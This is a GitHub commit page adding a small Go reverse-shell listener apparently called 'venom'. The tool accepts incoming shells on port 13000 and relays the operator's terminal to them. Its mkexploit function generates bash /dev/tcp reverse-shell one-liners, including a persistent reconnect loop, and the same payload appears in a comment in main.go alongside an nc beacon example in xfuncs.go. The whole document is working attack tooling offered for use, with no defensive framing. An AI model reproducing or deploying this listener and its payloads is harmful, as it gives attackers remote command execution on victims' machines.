Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
delltaxa committed Feb 11, 2023
0 parents commit 20381d1
Show file tree
Hide file tree
Showing 10 changed files with 302 additions and 0 deletions.
23 changes: 23 additions & 0 deletions cmdline.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package main

import (
"regexp"
"strings"
)

func CommandLineParser(cmdLine string) []string {
re := regexp.MustCompile(`"([^"\\]*(?:\\.[^"\\]*)*)"|'([^'\\]*(?:\\.[^'\\]*)*)'|(\S+)`)

args := re.FindAllString(cmdLine, -1)

for i:=0;i<len(args);i++ {
args[i] = strings.Trim(regexp.MustCompile(`\\(.)`).ReplaceAllString(args[i], "$1"), " ")

if strings.HasPrefix(args[i], "\"") && strings.HasSuffix(args[i], "\"") ||
strings.HasPrefix(args[i], "'") && strings.HasSuffix(args[i], "'") {
args[i] = args[i][1:len(args[i]) - 1]
}
}

return args
}
42 changes: 42 additions & 0 deletions colorama.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
package main

var Fore = map[string]string{
"RESET": "\x1b[39m",
"BLACK": "\x1b[30m",
"BLUE": "\x1b[34m",
"CYAN": "\x1b[36m",
"GREEN": "\x1b[32m",
"MAGENTA": "\x1b[35m",
"RED": "\x1b[31m",
"WHITE": "\x1b[37m",
"YELLOW": "\x1b[33m",
"LIGHT_BLACK": "\x1b[90m",
"LIGHT_BLUE": "\x1b[94m",
"LIGHT_CYAN": "\x1b[96m",
"LIGHT_GREEN": "\x1b[92m",
"LIGHT_MAGENTA": "\x1b[95m",
"LIGHT_RED": "\x1b[91m",
"LIGHT_WHITE": "\x1b[97m",
"LIGHT_YELLOW": "\x1b[93m",
}

var Back = map[string]string{
"RESET": "\x1b[49m",
"BLACK": "\x1b[40m",
"BLUE": "\x1b[44m",
"CYAN": "\x1b[46m",
"GREEN": "\x1b[42m",
"MAGENTA": "\x1b[45m",
"RED": "\x1b[41m",
"WHITE": "\x1b[47m",
"YELLOW": "\x1b[43m",
"LIGHT_BLACK": "\x1b[100m",
"LIGHT_BLUE": "\x1b[104m",
"LIGHT_CYAN": "\x1b[106m",
"LIGHT_GREEN": "\x1b[102m",
"LIGHT_MAGENTA": "\x1b[105m",
"LIGHT_RED": "\x1b[101m",
"LIGHT_WHITE": "\x1b[107m",
"LIGHT_YELLOW": "\x1b[103m",
}

4 changes: 4 additions & 0 deletions config.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
package main

var _server string = ":13000"
var _sid string = "<iron>"
3 changes: 3 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
module venom

go 1.19
8 changes: 8 additions & 0 deletions initialization.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
package main

var logo string = Fore["BLUE"]+`
_ ___ _ _ _
| || o \/ \| \| |
| || ( o ) \\ |
|_||_|\\\_/|_|\_|`+Fore["GREEN"]+`
->`+Fore["YELLOW"]+` v1.0.00 `+Fore["RESET"]+"\n"
17 changes: 17 additions & 0 deletions inp.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
package main

import (
"bufio"
"os"
)

func input() string {
reader := bufio.NewReader(os.Stdin)
userinput, err := reader.ReadString('\n')

if err != nil {
return ""
}

return userinput[0:len(userinput) - 1]
}
9 changes: 9 additions & 0 deletions iron.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
package main

var v_client string
var stop bool = false


var help_text string = ``+Fore["BLUE"]+`[show] `+Fore["RED"]+` `+Fore["GREEN"]+` --> `+Fore["RESET"]+`display all clients
`+Fore["BLUE"]+`[exploit]`+Fore["RED"]+` <remote>`+Fore["GREEN"]+` --> `+Fore["RESET"]+`Wait for remote to connect (`+Fore["BLUE"]+`nA=any`+Fore["RESET"]+`)
`+Fore["BLUE"]+`[mkexploit]`+Fore["RED"]+` `+Fore["GREEN"]+` --> `+Fore["RESET"]+`Generate exploit for this listener`+"\n\n"
62 changes: 62 additions & 0 deletions main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
package main

import (
"fmt"
"time"
)

// while true; do bash -c 'bash -i >& /dev/tcp/127.0.0.1/1300 0>&1'; sleep 10; done
func main() {
go listenf()

fmt.Printf(logo)

for {
fmt.Printf(Fore["GREEN"]+"$ "+Fore["RESET"])
var uin string = input()

if uin == "" {
continue
}

var puin = CommandLineParser(uin)

switch puin[0] {
case("mkexploit"):

if len(puin) < 2 {
fmt.Println(Fore["RED"]+"[-] Usage: mkexploit <public_addr>"+Fore["RESET"])
continue
}

fmt.Printf(mkexploit(puin[1])+"\n")

case("help"):
fmt.Printf(help_text)
case("show"):
show_clients()
case("exploit"):
if len(puin) > 1 {
v_client = puin[1]
} else {
v_client = "*"
}

fmt.Println(Fore["BLUE"]+"[*] Waiting for a connection"+Fore["RESET"])

stop = true

for {
if stop {
time.Sleep(time.Second*1)
} else {
break;
}
}
default:
fmt.Println(Fore["RED"]+"[-] Command not found"+Fore["RESET"])
}


}
}
84 changes: 84 additions & 0 deletions server.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
package main

import (
"fmt"
"io"
"net"
"os"
"strings"
"sync"
)

type Client struct {
IPAddress string
}

var Clients []Client
var Requests []string

func listenf() {
// Listen on port 8000
ln, err := net.Listen("tcp", _server)
if err != nil {
fmt.Println(Fore["RED"]+"[-]", err,Fore["RESET"])
os.Exit(0)
}
defer ln.Close()

// Accept incoming connections
for {
conn, err := ln.Accept()
if err != nil {
continue
}

// Handle connection in a separate goroutine
go handleConnection(conn)
}
}

func rest() {
stop = false
v_client = ""
}

func handleConnection(conn net.Conn) {
defer conn.Close()
defer rest()

var addr string = strings.Split(conn.RemoteAddr().String(), ":")[0]

Clients = append(Clients, Client{IPAddress: addr})
Requests = append(Requests, addr)

if v_client != "" {
if strings.Split(conn.RemoteAddr().String(), ":")[0] == v_client || v_client=="*" {
stop = true

fmt.Println(Fore["GREEN"]+"[+] Connection from "+Fore["BLUE"]+addr+Fore["RESET"])

var wg sync.WaitGroup
wg.Add(2)
tcpconn := conn.(*net.TCPConn)
go func() {
io.Copy(tcpconn, os.Stdin)
fmt.Fprintf(os.Stderr, Fore["RED"]+"[-] Connection Interrupt press ENTER to continue"+Fore["RESET"])
tcpconn.CloseWrite()
tcpconn.CloseRead()
wg.Done()
}()
go func() {
io.Copy(os.Stdout, tcpconn)
fmt.Fprintf(os.Stderr, Fore["RED"]+"[-] Connection Interrupt press ENTER to continue"+Fore["RESET"])
tcpconn.CloseRead()
tcpconn.CloseWrite()
wg.Done()
}()
wg.Wait()
fmt.Printf("\n")
}
}

rest()
conn.Close()
}
50 changes: 50 additions & 0 deletions xfuncs.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
package main

import (
"fmt"
"strings"
)

func contains(s string, arr []string) bool {
for _, v := range arr {
if v == s {
return true
}
}
return false
}

func mkexploit(addr string) string {
return ``+Fore["GREEN"]+`Default:`+Fore["RESET"]+`
`+Fore["MAGENTA"]+`while`+Fore["RESET"]+` `+Fore["BLUE"]+`true`+Fore["RESET"]+`; `+Fore["BLUE"]+`do`+Fore["RESET"]+` `+Fore["BLUE"]+`bash`+Fore["RESET"]+` `+Fore["MAGENTA"]+`-c`+Fore["RESET"]+` `+Fore["YELLOW"]+`'bash -i >& /dev/tcp/`+addr+`/`+strings.Split(_server, ":")[1]+` 0>&1'`+Fore["RESET"]+`; `+Fore["BLUE"]+`sleep`+Fore["RESET"]+` `+Fore["GREEN"]+`10`+Fore["RESET"]+`; `+Fore["MAGENTA"]+`done`+Fore["RESET"]+`
`+Fore["GREEN"]+`Single Connect:`+Fore["RESET"]+`
`+Fore["BLUE"]+`bash`+Fore["RESET"]+` `+Fore["MAGENTA"]+`-c`+Fore["RESET"]+` `+Fore["YELLOW"]+`'bash -i >& /dev/tcp/`+addr+`/`+strings.Split(_server, ":")[1]+` 0>&1'`+Fore["RESET"]+``

}

func get_char(c string, l int) string {
var result string

for i:=0;i<l;i++ {
result+=c
}

return result
}

// echo "<venom>|127.0.0.1|FR|WIN11|89437284372" | nc 192.168.178.175 13000
func show_clients() {
fmt.Println(Fore["GREEN"]+"IPAddress"+Fore["RESET"])

for i:=0;i<len(Clients);i++ {
// fmt.Println("| "+Clients[i].IPAddress+get_char(" ", 15 - len(Clients[i].IPAddress))+" |")
fmt.Println(Fore["BLUE"]+Clients[i].IPAddress+Fore["RESET"])
}

if len(Clients) == 0 {
fmt.Println(Fore["BLUE"]+"None"+Fore["RESET"])
}

fmt.Printf("\n")
}

0 comments on commit 20381d1

Please sign in to comment.